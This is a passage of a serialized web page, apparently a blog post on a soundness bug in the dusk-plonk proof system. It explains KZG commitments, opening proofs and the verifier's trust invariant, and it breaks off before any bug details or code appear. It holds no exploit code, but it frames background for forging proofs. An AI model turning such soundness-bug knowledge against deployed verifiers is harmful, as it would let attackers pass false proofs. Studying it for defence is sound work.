",{"type":23,"tag":38,"props":142288,"children":142290},{"className":142289},[2658,2659],[142291],{"type":23,"tag":141,"props":142292,"children":142294},{"className":142293},[2664],[142295],{"type":23,"tag":141,"props":142296,"children":142298},{"className":142297,"ariaHidden":2670},[2669],[142299],{"type":23,"tag":141,"props":142300,"children":142302},{"className":142301},[2675],[142303,142307,142312,142317,142322],{"type":23,"tag":141,"props":142304,"children":142306},{"className":142305,"style":2787},[2680],[],{"type":23,"tag":141,"props":142308,"children":142310},{"className":142309,"style":20261},[2686,20260],[142311],{"type":29,"value":4661},{"type":23,"tag":141,"props":142313,"children":142315},{"className":142314},[20389],[142316],{"type":29,"value":192},{"type":23,"tag":141,"props":142318,"children":142320},{"className":142319},[2686,20260],[142321],{"type":29,"value":17947},{"type":23,"tag":141,"props":142323,"children":142325},{"className":142324},[20411],[142326],{"type":29,"value":1788},{"type":29,"value":20176},{"type":23,"tag":38,"props":142329,"children":142331},{"className":142330},[2658,2659],[142332],{"type":23,"tag":141,"props":142333,"children":142335},{"className":142334},[2664],[142336],{"type":23,"tag":141,"props":142337,"children":142339},{"className":142338,"ariaHidden":2670},[2669],[142340,142381,142422],{"type":23,"tag":141,"props":142341,"children":142343},{"className":142342},[2675],[142344,142348,142353,142358,142363,142368,142372,142377],{"type":23,"tag":141,"props":142345,"children":142347},{"className":142346,"style":2787},[2680],[],{"type":23,"tag":141,"props":142349,"children":142351},{"className":142350,"style":20261},[2686,20260],[142352],{"type":29,"value":120310},{"type":23,"tag":141,"props":142354,"children":142356},{"className":142355},[20389],[142357],{"type":29,"value":192},{"type":23,"tag":141,"props":142359,"children":142361},{"className":142360},[2686,20260],[142362],{"type":29,"value":17947},{"type":23,"tag":141,"props":142364,"children":142366},{"className":142365},[20411],[142367],{"type":29,"value":1788},{"type":23,"tag":141,"props":142369,"children":142371},{"className":142370,"style":2863},[2766],[],{"type":23,"tag":141,"props":142373,"children":142375},{"className":142374},[2868],[142376],{"type":29,"value":1377},{"type":23,"tag":141,"props":142378,"children":142380},{"className":142379,"style":2863},[2766],[],{"type":23,"tag":141,"props":142382,"children":142384},{"className":142383},[2675],[142385,142389,142394,142399,142404,142409,142413,142418],{"type":23,"tag":141,"props":142386,"children":142388},{"className":142387,"style":2787},[2680],[],{"type":23,"tag":141,"props":142390,"children":142392},{"className":142391,"style":20261},[2686,20260],[142393],{"type":29,"value":4661},{"type":23,"tag":141,"props":142395,"children":142397},{"className":142396},[20389],[142398],{"type":29,"value":192},{"type":23,"tag":141,"props":142400,"children":142402},{"className":142401},[2686,20260],[142403],{"type":29,"value":17947},{"type":23,"tag":141,"props":142405,"children":142407},{"className":142406},[20411],[142408],{"type":29,"value":1788},{"type":23,"tag":141,"props":142410,"children":142412},{"className":142411,"style":2767},[2766],[],{"type":23,"tag":141,"props":142414,"children":142416},{"className":142415},[2772],[142417],{"type":29,"value":109794},{"type":23,"tag":141,"props":142419,"children":142421},{"className":142420,"style":2767},[2766],[],{"type":23,"tag":141,"props":142423,"children":142425},{"className":142424},[2675],[142426,142430,142435,142440,142445],{"type":23,"tag":141,"props":142427,"children":142429},{"className":142428,"style":2787},[2680],[],{"type":23,"tag":141,"props":142431,"children":142433},{"className":142432,"style":20792},[2686,20260],[142434],{"type":29,"value":142096},{"type":23,"tag":141,"props":142436,"children":142438},{"className":142437},[20389],[142439],{"type":29,"value":192},{"type":23,"tag":141,"props":142441,"children":142443},{"className":142442},[2686,20260],[142444],{"type":29,"value":17947},{"type":23,"tag":141,"props":142446,"children":142448},{"className":142447},[20411],[142449],{"type":29,"value":1788},{"type":29,"value":322},{"type":23,"tag":32,"props":142452,"children":142453},{},[142454],{"type":23,"tag":2591,"props":142455,"children":142458},{"alt":142456,"src":142457},"master_equation","/posts/dusk-commitment-issues/master_equation.svg",[],{"type":23,"tag":8287,"props":142460,"children":142462},{"id":142461},"polynomial-commitments-and-opening-proofs",[142463],{"type":29,"value":142464},"Polynomial commitments and opening proofs",{"type":23,"tag":32,"props":142466,"children":142467},{},[142468,142470,142475,142477,142482],{"type":29,"value":142469},"To keep the proof short, the prover doesn't send polynomials directly. Instead, it sends ",{"type":23,"tag":47,"props":142471,"children":142472},{},[142473],{"type":29,"value":142474},"commitments",{"type":29,"value":142476},", short cryptographic fingerprints of each polynomial (using e.g. KZG commitments). When the verifier needs the value of a committed polynomial at a specific point, the prover provides the value along with an ",{"type":23,"tag":47,"props":142478,"children":142479},{},[142480],{"type":29,"value":142481},"opening proof",{"type":29,"value":142483}," that the claimed value is consistent with the earlier commitment.",{"type":23,"tag":32,"props":142485,"children":142486},{},[142487],{"type":29,"value":142488},"A committed polynomial evaluation is therefore cryptographically bound, and the prover cannot lie about the value without being caught.",{"type":23,"tag":8287,"props":142490,"children":142492},{"id":142491},"reducing-to-a-single-random-point",[142493],{"type":29,"value":142494},"Reducing to a single random point",{"type":23,"tag":32,"props":142496,"children":142497},{},[142498,142500,142540,142542,142567,142569,142691,142693,142718],{"type":29,"value":142499},"After the prover commits to all polynomials, including ",{"type":23,"tag":38,"props":142501,"children":142503},{"className":142502},[2658,2659],[142504],{"type":23,"tag":141,"props":142505,"children":142507},{"className":142506},[2664],[142508],{"type":23,"tag":141,"props":142509,"children":142511},{"className":142510,"ariaHidden":2670},[2669],[142512],{"type":23,"tag":141,"props":142513,"children":142515},{"className":142514},[2675],[142516,142520,142525,142530,142535],{"type":23,"tag":141,"props":142517,"children":142519},{"className":142518,"style":2787},[2680],[],{"type":23,"tag":141,"props":142521,"children":142523},{"className":142522,"style":20261},[2686,20260],[142524],{"type":29,"value":4661},{"type":23,"tag":141,"props":142526,"children":142528},{"className":142527},[20389],[142529],{"type":29,"value":192},{"type":23,"tag":141,"props":142531,"children":142533},{"className":142532},[2686,20260],[142534],{"type":29,"value":17947},{"type":23,"tag":141,"props":142536,"children":142538},{"className":142537},[20411],[142539],{"type":29,"value":1788},{"type":29,"value":142541},", the verifier picks a random challenge point ",{"type":23,"tag":38,"props":142543,"children":142545},{"className":142544},[2658,2659],[142546],{"type":23,"tag":141,"props":142547,"children":142549},{"className":142548},[2664],[142550],{"type":23,"tag":141,"props":142551,"children":142553},{"className":142552,"ariaHidden":2670},[2669],[142554],{"type":23,"tag":141,"props":142555,"children":142557},{"className":142556},[2675],[142558,142562],{"type":23,"tag":141,"props":142559,"children":142561},{"className":142560,"style":109373},[2680],[],{"type":23,"tag":141,"props":142563,"children":142565},{"className":142564,"style":112089},[2686,20260],[142566],{"type":29,"value":112092},{"type":29,"value":142568}," (derived via the Fiat-Shamir heuristic from the transcript) and checks ",{"type":23,"tag":38,"props":142570,"children":142572},{"className":142571},[2658,2659],[142573],{"type":23,"tag":141,"props":142574,"children":142576},{"className":142575},[2664],[142577],{"type":23,"tag":141,"props":142578,"children":142580},{"className":142579,"ariaHidden":2670},[2669],[142581,142622,142663],{"type":23,"tag":141,"props":142582,"children":142584},{"className":142583},[2675],[142585,142589,142594,142599,142604,142609,142613,142618],{"type":23,"tag":141,"props":142586,"children":142588},{"className":142587,"style":2787},[2680],[],{"type":23,"tag":141,"props":142590,"children":142592},{"className":142591,"style":20261},[2686,20260],[142593],{"type":29,"value":120310},{"type":23,"tag":141,"props":142595,"children":142597},{"className":142596},[20389],[142598],{"type":29,"value":192},{"type":23,"tag":141,"props":142600,"children":142602},{"className":142601,"style":112089},[2686,20260],[142603],{"type":29,"value":112092},{"type":23,"tag":141,"props":142605,"children":142607},{"className":142606},[20411],[142608],{"type":29,"value":1788},{"type":23,"tag":141,"props":142610,"children":142612},{"className":142611,"style":2863},[2766],[],{"type":23,"tag":141,"props":142614,"children":142616},{"className":142615},[2868],[142617],{"type":29,"value":1377},{"type":23,"tag":141,"props":142619,"children":142621},{"className":142620,"style":2863},[2766],[],{"type":23,"tag":141,"props":142623,"children":142625},{"className":142624},[2675],[142626,142630,142635,142640,142645,142650,142654,142659],{"type":23,"tag":141,"props":142627,"children":142629},{"className":142628,"style":2787},[2680],[],{"type":23,"tag":141,"props":142631,"children":142633},{"className":142632,"style":20261},[2686,20260],[142634],{"type":29,"value":4661},{"type":23,"tag":141,"props":142636,"children":142638},{"className":142637},[20389],[142639],{"type":29,"value":192},{"type":23,"tag":141,"props":142641,"children":142643},{"className":142642,"style":112089},[2686,20260],[142644],{"type":29,"value":112092},{"type":23,"tag":141,"props":142646,"children":142648},{"className":142647},[20411],[142649],{"type":29,"value":1788},{"type":23,"tag":141,"props":142651,"children":142653},{"className":142652,"style":2767},[2766],[],{"type":23,"tag":141,"props":142655,"children":142657},{"className":142656},[2772],[142658],{"type":29,"value":109794},{"type":23,"tag":141,"props":142660,"children":142662},{"className":142661,"style":2767},[2766],[],{"type":23,"tag":141,"props":142664,"children":142666},{"className":142665},[2675],[142667,142671,142676,142681,142686],{"type":23,"tag":141,"props":142668,"children":142670},{"className":142669,"style":2787},[2680],[],{"type":23,"tag":141,"props":142672,"children":142674},{"className":142673,"style":20792},[2686,20260],[142675],{"type":29,"value":142096},{"type":23,"tag":141,"props":142677,"children":142679},{"className":142678},[20389],[142680],{"type":29,"value":192},{"type":23,"tag":141,"props":142682,"children":142684},{"className":142683,"style":112089},[2686,20260],[142685],{"type":29,"value":112092},{"type":23,"tag":141,"props":142687,"children":142689},{"className":142688},[20411],[142690],{"type":29,"value":1788},{"type":29,"value":142692}," at that single point. By the Schwartz-Zippel lemma, if this holds at a random ",{"type":23,"tag":38,"props":142694,"children":142696},{"className":142695},[2658,2659],[142697],{"type":23,"tag":141,"props":142698,"children":142700},{"className":142699},[2664],[142701],{"type":23,"tag":141,"props":142702,"children":142704},{"className":142703,"ariaHidden":2670},[2669],[142705],{"type":23,"tag":141,"props":142706,"children":142708},{"className":142707},[2675],[142709,142713],{"type":23,"tag":141,"props":142710,"children":142712},{"className":142711,"style":109373},[2680],[],{"type":23,"tag":141,"props":142714,"children":142716},{"className":142715,"style":112089},[2686,20260],[142717],{"type":29,"value":112092},{"type":29,"value":142719}," then the full polynomial identity holds with overwhelming probability, so the verifier checks the entire multi-million-row circuit in constant time.",{"type":23,"tag":32,"props":142721,"children":142722},{},[142723,142725,142750,142752,142757],{"type":29,"value":142724},"In textbook PLONK the selector polynomials are part of the fixed circuit description, but in practice implementations commit to them during preprocessing and place those commitments in the verifier key. When the verifier later needs their values at ",{"type":23,"tag":38,"props":142726,"children":142728},{"className":142727},[2658,2659],[142729],{"type":23,"tag":141,"props":142730,"children":142732},{"className":142731},[2664],[142733],{"type":23,"tag":141,"props":142734,"children":142736},{"className":142735,"ariaHidden":2670},[2669],[142737],{"type":23,"tag":141,"props":142738,"children":142740},{"className":142739},[2675],[142741,142745],{"type":23,"tag":141,"props":142742,"children":142744},{"className":142743,"style":109373},[2680],[],{"type":23,"tag":141,"props":142746,"children":142748},{"className":142747,"style":112089},[2686,20260],[142749],{"type":29,"value":112092},{"type":29,"value":142751},", the prover supplies ",{"type":23,"tag":47,"props":142753,"children":142754},{},[142755],{"type":29,"value":142756},"evaluation claims",{"type":29,"value":142758}," that must be checked against those commitments with opening proofs.",{"type":23,"tag":32,"props":142760,"children":142761},{},[142762,142764,142768],{"type":29,"value":142763},"The security argument depends on a chain: commitments lock the prover into polynomials ",{"type":23,"tag":47,"props":142765,"children":142766},{},[142767],{"type":29,"value":103076},{"type":29,"value":142769}," challenges are derived, and opening proofs ensure the evaluations are consistent with those commitments. Breaking any single link in this chain collapses soundness entirely.",{"type":23,"tag":8287,"props":142771,"children":142773},{"id":142772},"what-the-verifier-is-actually-allowed-to-trust",[142774],{"type":29,"value":142775},"What the verifier is actually allowed to trust",{"type":23,"tag":32,"props":142777,"children":142778},{},[142779,142781,142786],{"type":29,"value":142780},"For this bug, one invariant matters more than the rest: ",{"type":23,"tag":3998,"props":142782,"children":142783},{},[142784],{"type":29,"value":142785},"every scalar that enters the final verifier equation must be either locally computed by the verifier, or cryptographically tied to an earlier commitment",{"type":29,"value":322},{"type":23,"tag":32,"props":142788,"children":142789},{},[142790,142792,142884,142885,142977,142979,143004,143006,143046,143047,143087,143088,143181,143182,143228,143230,143317,143318,143405,143406,143493],{"type":29,"value":142791},"In practice, values entering the verifier equation fall into three buckets. The verifier computes some values locally from public data (",{"type":23,"tag":38,"props":142793,"children":142795},{"className":142794},[2658,2659],[142796],{"type":23,"tag":141,"props":142797,"children":142799},{"className":142798},[2664],[142800],{"type":23,"tag":141,"props":142801,"children":142803},{"className":142802,"ariaHidden":2670},[2669],[142804],{"type":23,"tag":141,"props":142805,"children":142807},{"className":142806},[2675],[142808,142812,142869,142874,142879],{"type":23,"tag":141,"props":142809,"children":142811},{"className":142810,"style":2787},[2680],[],{"type":23,"tag":141,"props":142813,"children":142815},{"className":142814},[2686],[142816,142821],{"type":23,"tag":141,"props":142817,"children":142819},{"className":142818,"style":20792},[2686,20260],[142820],{"type":29,"value":142096},{"type":23,"tag":141,"props":142822,"children":142824},{"className":142823},[2702],[142825],{"type":23,"tag":141,"props":142826,"children":142828},{"className":142827},[2707,20314],[142829,142858],{"type":23,"tag":141,"props":142830,"children":142832},{"className":142831},[2712],[142833,142853],{"type":23,"tag":141,"props":142834,"children":142836},{"className":142835,"style":141087},[2717],[142837],{"type":23,"tag":141,"props":142838,"children":142839},{"style":114781},[142840,142844],{"type":23,"tag":141,"props":142841,"children":142843},{"className":142842,"style":2727},[2726],[],{"type":23,"tag":141,"props":142845,"children":142847},{"className":142846},[2732,2733,2734,2735],[142848],{"type":23,"tag":141,"props":142849,"children":142851},{"className":142850,"style":91766},[2686,20260,2735],[142852],{"type":29,"value":91769},{"type":23,"tag":141,"props":142854,"children":142856},{"className":142855},[20417],[142857],{"type":29,"value":20420},{"type":23,"tag":141,"props":142859,"children":142861},{"className":142860},[2712],[142862],{"type":23,"tag":141,"props":142863,"children":142865},{"className":142864,"style":91615},[2717],[142866],{"type":23,"tag":141,"props":142867,"children":142868},{},[],{"type":23,"tag":141,"props":142870,"children":142872},{"className":142871},[20389],[142873],{"type":29,"value":192},{"type":23,"tag":141,"props":142875,"children":142877},{"className":142876,"style":112089},[2686,20260],[142878],{"type":29,"value":112092},{"type":23,"tag":141,"props":142880,"children":142882},{"className":142881},[20411],[142883],{"type":29,"value":1788},{"type":29,"value":480},{"type":23,"tag":38,"props":142886,"children":142888},{"className":142887},[2658,2659],[142889],{"type":23,"tag":141,"props":142890,"children":142892},{"className":142891},[2664],[142893],{"type":23,"tag":141,"props":142894,"children":142896},{"className":142895,"ariaHidden":2670},[2669],[142897],{"type":23,"tag":141,"props":142898,"children":142900},{"className":142899},[2675],[142901,142905,142962,142967,142972],{"type":23,"tag":141,"props":142902,"children":142904},{"className":142903,"style":2787},[2680],[],{"type":23,"tag":141,"props":142906,"children":142908},{"className":142907},[2686],[142909,142914],{"type":23,"tag":141,"props":142910,"children":142912},{"className":142911},[2686,20260],[142913],{"type":29,"value":116496},{"type":23,"tag":141,"props":142915,"children":142917},{"className":142916},[2702],[142918],{"type":23,"tag":141,"props":142919,"children":142921},{"className":142920},[2707,20314],[142922,142951],{"type":23,"tag":141,"props":142923,"children":142925},{"className":142924},[2712],[142926,142946],{"type":23,"tag":141,"props":142927,"children":142929},{"className":142928,"style":91584},[2717],[142930],{"type":23,"tag":141,"props":142931,"children":142932},{"style":91588},[142933,142937],{"type":23,"tag":141,"props":142934,"children":142936},{"className":142935,"style":2727},[2726],[],{"type":23,"tag":141,"props":142938,"children":142940},{"className":142939},[2732,2733,2734,2735],[142941],{"type":23,"tag":141,"props":142942,"children":142944},{"className":142943},[2686,2735],[142945],{"type":29,"value":687},{"type":23,"tag":141,"props":142947,"children":142949},{"className":142948},[20417],[142950],{"type":29,"value":20420},{"type":23,"tag":141,"props":142952,"children":142954},{"className":142953},[2712],[142955],{"type":23,"tag":141,"props":142956,"children":142958},{"className":142957,"style":91615},[2717],[142959],{"type":23,"tag":141,"props":142960,"children":142961},{},[],{"type":23,"tag":141,"props":142963,"children":142965},{"className":142964},[20389],[142966],{"type":29,"value":192},{"type":23,"tag":141,"props":142968,"children":142970},{"className":142969,"style":112089},[2686,20260],[142971],{"type":29,"value":112092},{"type":23,"tag":141,"props":142973,"children":142975},{"className":142974},[20411],[142976],{"type":29,"value":1788},{"type":29,"value":142978},", the public-input polynomial at ",{"type":23,"tag":38,"props":142980,"children":142982},{"className":142981},[2658,2659],[142983],{"type":23,"tag":141,"props":142984,"children":142986},{"className":142985},[2664],[142987],{"type":23,"tag":141,"props":142988,"children":142990},{"className":142989,"ariaHidden":2670},[2669],[142991],{"type":23,"tag":141,"props":142992,"children":142994},{"className":142993},[2675],[142995,142999],{"type":23,"tag":141,"props":142996,"children":142998},{"className":142997,"style":109373},[2680],[],{"type":23,"tag":141,"props":143000,"children":143002},{"className":143001,"style":112089},[2686,20260],[143003],{"type":29,"value":112092},{"type":29,"value":143005},"), which are safe because the prover never chooses them. Other values are prover-supplied evaluations accompanied by KZG opening proofs (",{"type":23,"tag":38,"props":143007,"children":143009},{"className":143008},[2658,2659],[143010],{"type":23,"tag":141,"props":143011,"children":143013},{"className":143012},[2664],[143014],{"type":23,"tag":141,"props":143015,"children":143017},{"className":143016,"ariaHidden":2670},[2669],[143018],{"type":23,"tag":141,"props":143019,"children":143021},{"className":143020},[2675],[143022,143026,143031,143036,143041],{"type":23,"tag":141,"props":143023,"children":143025},{"className":143024,"style":2787},[2680],[],{"type":23,"tag":141,"props":143027,"children":143029},{"className":143028},[2686,20260],[143030],{"type":29,"value":55},{"type":23,"tag":141,"props":143032,"children":143034},{"className":143033},[20389],[143035],{"type":29,"value":192},{"type":23,"tag":141,"props":143037,"children":143039},{"className":143038,"style":112089},[2686,20260],[143040],{"type":29,"value":112092},{"type":23,"tag":141,"props":143042,"children":143044},{"className":143043},[20411],[143045],{"type":29,"value":1788},{"type":29,"value":480},{"type":23,"tag":38,"props":143048,"children":143050},{"className":143049},[2658,2659],[143051],{"type":23,"tag":141,"props":143052,"children":143054},{"className":143053},[2664],[143055],{"type":23,"tag":141,"props":143056,"children":143058},{"className":143057,"ariaHidden":2670},[2669],[143059],{"type":23,"tag":141,"props":143060,"children":143062},{"className":143061},[2675],[143063,143067,143072,143077,143082],{"type":23,"tag":141,"props":143064,"children":143066},{"className":143065,"style":2787},[2680],[],{"type":23,"tag":141,"props":143068,"children":143070},{"className":143069},[2686,20260],[143071],{"type":29,"value":1883},{"type":23,"tag":141,"props":143073,"children":143075},{"className":143074},[20389],[143076],{"type":29,"value":192},{"type":23,"tag":141,"props":143078,"children":143080},{"className":143079,"style":112089},[2686,20260],[143081],{"type":29,"value":112092},{"type":23,"tag":141,"props":143083,"children":143085},{"className":143084},[20411],[143086],{"type":29,"value":1788},{"type":29,"value":480},{"type":23,"tag":38,"props":143089,"children":143091},{"className":143090},[2658,2659],[143092],{"type":23,"tag":141,"props":143093,"children":143095},{"className":143094},[2664],[143096],{"type":23,"tag":141,"props":143097,"children":143099},{"className":143098,"ariaHidden":2670},[2669],[143100],{"type":23,"tag":141,"props":143101,"children":143103},{"className":143102},[2675],[143104,143108,143166,143171,143176],{"type":23,"tag":141,"props":143105,"children":143107},{"className":143106,"style":2787},[2680],[],{"type":23,"tag":141,"props":143109,"children":143111},{"className":143110},[2686],[143112,143118],{"type":23,"tag":141,"props":143113,"children":143115},{"className":143114,"style":92018},[2686,20260],[143116],{"type":29,"value":143117},"σ",{"type":23,"tag":141,"props":143119,"children":143121},{"className":143120},[2702],[143122],{"type":23,"tag":141,"props":143123,"children":143125},{"className":143124},[2707,20314],[143126,143155],{"type":23,"tag":141,"props":143127,"children":143129},{"className":143128},[2712],[143130,143150],{"type":23,"tag":141,"props":143131,"children":143133},{"className":143132,"style":91584},[2717],[143134],{"type":23,"tag":141,"props":143135,"children":143136},{"style":92065},[143137,143141],{"type":23,"tag":141,"props":143138,"children":143140},{"className":143139,"style":2727},[2726],[],{"type":23,"tag":141,"props":143142,"children":143144},{"className":143143},[2732,2733,2734,2735],[143145],{"type":23,"tag":141,"props":143146,"children":143148},{"className":143147},[2686,2735],[143149],{"type":29,"value":687},{"type":23,"tag":141,"props":143151,"children":143153},{"className":143152},[20417],[143154],{"type":29,"value":20420},{"type":23,"tag":141,"props":143156,"children":143158},{"className":143157},[2712],[143159],{"type":23,"tag":141,"props":143160,"children":143162},{"className":143161,"style":91615},[2717],[143163],{"type":23,"tag":141,"props":143164,"children":143165},{},[],{"type":23,"tag":141,"props":143167,"children":143169},{"className":143168},[20389],[143170],{"type":29,"value":192},{"type":23,"tag":141,"props":143172,"children":143174},{"className":143173,"style":112089},[2686,20260],[143175],{"type":29,"value":112092},{"type":23,"tag":141,"props":143177,"children":143179},{"className":143178},[20411],[143180],{"type":29,"value":1788},{"type":29,"value":480},{"type":23,"tag":38,"props":143183,"children":143185},{"className":143184},[2658,2659],[143186],{"type":23,"tag":141,"props":143187,"children":143189},{"className":143188},[2664],[143190],{"type":23,"tag":141,"props":143191,"children":143193},{"className":143192,"ariaHidden":2670},[2669],[143194],{"type":23,"tag":141,"props":143195,"children":143197},{"className":143196},[2675],[143198,143202,143207,143212,143217,143223],{"type":23,"tag":141,"props":143199,"children":143201},{"className":143200,"style":2787},[2680],[],{"type":23,"tag":141,"props":143203,"children":143205},{"className":143204},[2686,20260],[143206],{"type":29,"value":55},{"type":23,"tag":141,"props":143208,"children":143210},{"className":143209},[20389],[143211],{"type":29,"value":192},{"type":23,"tag":141,"props":143213,"children":143215},{"className":143214,"style":112089},[2686,20260],[143216],{"type":29,"value":112092},{"type":23,"tag":141,"props":143218,"children":143220},{"className":143219,"style":92018},[2686,20260],[143221],{"type":29,"value":143222},"ω",{"type":23,"tag":141,"props":143224,"children":143226},{"className":143225},[20411],[143227],{"type":29,"value":1788},{"type":29,"value":143229},"), which are safe because the opening binds them to previously committed polynomials. A third category consists of verifier-key commitments used directly in the linearization multiscalar multiplication (",{"type":23,"tag":38,"props":143231,"children":143233},{"className":143232},[2658,2659],[143234],{"type":23,"tag":141,"props":143235,"children":143237},{"className":143236},[2664],[143238],{"type":23,"tag":141,"props":143239,"children":143241},{"className":143240,"ariaHidden":2670},[2669],[143242],{"type":23,"tag":141,"props":143243,"children":143245},{"className":143244},[2675],[143246,143250,143255,143312],{"type":23,"tag":141,"props":143247,"children":143249},{"className":143248,"style":2787},[2680],[],{"type":23,"tag":141,"props":143251,"children":143253},{"className":143252},[20389],[143254],{"type":29,"value":2399},{"type":23,"tag":141,"props":143256,"children":143258},{"className":143257},[2686],[143259,143264],{"type":23,"tag":141,"props":143260,"children":143262},{"className":143261,"style":92018},[2686,20260],[143263],{"type":29,"value":92021},{"type":23,"tag":141,"props":143265,"children":143267},{"className":143266},[2702],[143268],{"type":23,"tag":141,"props":143269,"children":143271},{"className":143270},[2707,20314],[143272,143301],{"type":23,"tag":141,"props":143273,"children":143275},{"className":143274},[2712],[143276,143296],{"type":23,"tag":141,"props":143277,"children":143279},{"className":143278,"style":141087},[2717],[143280],{"type":23,"tag":141,"props":143281,"children":143282},{"style":92065},[143283,143287],{"type":23,"tag":141,"props":143284,"children":143286},{"className":143285,"style":2727},[2726],[],{"type":23,"tag":141,"props":143288,"children":143290},{"className":143289},[2732,2733,2734,2735],[143291],{"type":23,"tag":141,"props":143292,"children":143294},{"className":143293,"style":93540},[2686,20260,2735],[143295],{"type":29,"value":93543},{"type":23,"tag":141,"props":143297,"children":143299},{"className":143298},[20417],[143300],{"type":29,"value":20420},{"type":23,"tag":141,"props":143302,"children":143304},{"className":143303},[2712],[143305],{"type":23,"tag":141,"props":143306,"children":143308},{"className":143307,"style":91615},[2717],[143309],{"type":23,"tag":141,"props":143310,"children":143311},{},[],{"type":23,"tag":141,"props":143313,"children":143315},{"className":143314},[20411],[143316],{"type":29,"value":14088},{"type":29,"value":480},{"type":23,"tag":38,"props":143319,"children":143321},{"className":143320},[2658,2659],[143322],{"type":23,"tag":141,"props":143323,"children":143325},{"className":143324},[2664],[143326],{"type":23,"tag":141,"props":143327,"children":143329},{"className":143328,"ariaHidden":2670},[2669],[143330],{"type":23,"tag":141,"props":143331,"children":143333},{"className":143332},[2675],[143334,143338,143343,143400],{"type":23,"tag":141,"props":143335,"children":143337},{"className":143336,"style":2787},[2680],[],{"type":23,"tag":141,"props":143339,"children":143341},{"className":143340},[20389],[143342],{"type":29,"value":2399},{"type":23,"tag":141,"props":143344,"children":143346},{"className":143345},[2686],[143347,143352],{"type":23,"tag":141,"props":143348,"children":143350},{"className":143349,"style":92018},[2686,20260],[143351],{"type":29,"value":92021},{"type":23,"tag":141,"props":143353,"children":143355},{"className":143354},[2702],[143356],{"type":23,"tag":141,"props":143357,"children":143359},{"className":143358},[2707,20314],[143360,143389],{"type":23,"tag":141,"props":143361,"children":143363},{"className":143362},[2712],[143364,143384],{"type":23,"tag":141,"props":143365,"children":143367},{"className":143366,"style":141087},[2717],[143368],{"type":23,"tag":141,"props":143369,"children":143370},{"style":92065},[143371,143375],{"type":23,"tag":141,"props":143372,"children":143374},{"className":143373,"style":2727},[2726],[],{"type":23,"tag":141,"props":143376,"children":143378},{"className":143377},[2732,2733,2734,2735],[143379],{"type":23,"tag":141,"props":143380,"children":143382},{"className":143381,"style":91532},[2686,20260,2735],[143383],{"type":29,"value":113851},{"type":23,"tag":141,"props":143385,"children":143387},{"className":143386},[20417],[143388],{"type":29,"value":20420},{"type":23,"tag":141,"props":143390,"children":143392},{"className":143391},[2712],[143393],{"type":23,"tag":141,"props":143394,"children":143396},{"className":143395,"style":91615},[2717],[143397],{"type":23,"tag":141,"props":143398,"children":143399},{},[],{"type":23,"tag":141,"props":143401,"children":143403},{"className":143402},[20411],[143404],{"type":29,"value":14088},{"type":29,"value":480},{"type":23,"tag":38,"props":143407,"children":143409},{"className":143408},[2658,2659],[143410],{"type":23,"tag":141,"props":143411,"children":143413},{"className":143412},[2664],[143414],{"type":23,"tag":141,"props":143415,"children":143417},{"className":143416,"ariaHidden":2670},[2669],[143418],{"type":23,"tag":141,"props":143419,"children":143421},{"className":143420},[2675],[143422,143426,143431,143488],{"type":23,"tag":141,"props":143423,"children":143425},{"className":143424,"style":2787},[2680],[],{"type":23,"tag":141,"props":143427,"children":143429},{"className":143428},[20389],[143430],{"type":29,"value":2399},{"type":23,"tag":141,"props":143432,"children":143434},{"className":143433},[2686],[143435,143440],{"type":23,"tag":141,"props":143436,"children":143438},{"className":143437,"style":92018},[2686,20260],[143439],{"type":29,"value":143117},{"type":23,"tag":141,"props":143441,"children":143443},{"className":143442},[2702],[143444],{"type":23,"tag":141,"props":143445,"children":143447},{"className":143446},[2707,20314],[143448,143477],{"type":23,"tag":141,"props":143449,"children":143451},{"className":143450},[2712],[143452,143472],{"type":23,"tag":141,"props":143453,"children":143455},{"className":143454,"style":91584},[2717],[143456],{"type":23,"tag":141,"props":143457,"children":143458},{"style":92065},[143459,143463],{"type":23,"tag":141,"props":143460,"children":143462},{"className":143461,"style":2727},[2726],[],{"type":23,"tag":141,"props":143464,"children":143466},{"className":143465},[2732,2733,2734,2735],[143467],{"type":23,"tag":141,"props":143468,"children":143470},{"className":143469},[2686,2735],[143471],{"type":29,"value":16205},{"type":23,"tag":141,"props":143473,"children":143475},{"className":143474},[20417],[143476],{"type":29,"value":20420},{"type":23,"tag":141,"props":143478,"children":143480},{"className":143479},[2712],[143481],{"type":23,"tag":141,"props":143482,"children":143484},{"className":143483,"style":91615},[2717],[143485],{"type":23,"tag":141,"props":143486,"children":143487},{},[],{"type":23,"tag":141,"props":143489,"children":143491},{"className":143490},[20411],[143492],{"type":29,"value":14088},{"type":29,"value":143494},"), which are safe because the verifier never trusts a bare field element for these; it uses the commitment itself.",{"type":23,"tag":32,"props":143496,"children":143497},{},[143498],{"type":29,"value":143499},"Any term that falls outside those three categories is attacker-controlled by construction.",{"type":23,"tag":17463,"props":143501,"children":143502},{},[],{"type":23,"tag":24,"props":143504,"children":143506},{"id":143505},"where-dusk-plonk-differs-from-textbook-plonk",[143507],{"type":29,"value":143508},"Where dusk-plonk differs from textbook PLONK",{"type":23,"tag":32,"props":143510,"children":143511},{},[143512,143521,143523,143528,143530,143560],{"type":23,"tag":55,"props":143513,"children":143515},{"href":140387,"rel":143514},[59],[143516],{"type":23,"tag":38,"props":143517,"children":143519},{"className":143518},[],[143520],{"type":29,"value":140391},{"type":29,"value":143522}," is not a literal transcription of the 2019 PLONK paper. It extends the arithmetic gate with a fourth wire ",{"type":23,"tag":38,"props":143524,"children":143526},{"className":143525},[],[143527],{"type":29,"value":69047},{"type":29,"value":143529},", adds custom widgets for range, logic, and elliptic-curve operations, uses shifted evaluations at ",{"type":23,"tag":38,"props":143531,"children":143533},{"className":143532},[2658,2659],[143534],{"type":23,"tag":141,"props":143535,"children":143537},{"className":143536},[2664],[143538],{"type":23,"tag":141,"props":143539,"children":143541},{"className":143540,"ariaHidden":2670},[2669],[143542],{"type":23,"tag":141,"props":143543,"children":143545},{"className":143544},[2675],[143546,143550,143555],{"type":23,"tag":141,"props":143547,"children":143549},{"className":143548,"style":109373},[2680],[],{"type":23,"tag":141,"props":143551,"children":143553},{"className":143552,"style":112089},[2686,20260],[143554],{"type":29,"value":112092},{"type":23,"tag":141,"props":143556,"children":143558},{"className":143557,"style":92018},[2686,20260],[143559],{"type":29,"value":143222},{"type":29,"value":143561},", and heavily batches KZG openings. None of that is exotic by modern PLONK standards, but it does make the verifier harder to reason about than the minimal paper presentation.",{"type":23,"tag":32,"props":143563,"children":143564},{},[143565,143567,143572,143573,143578,143580,143586,143588,143595],{"type":29,"value":143566},"The important part for this bug is the boundary between ",{"type":23,"tag":3998,"props":143568,"children":143569},{},[143570],{"type":29,"value":143571},"public circuit 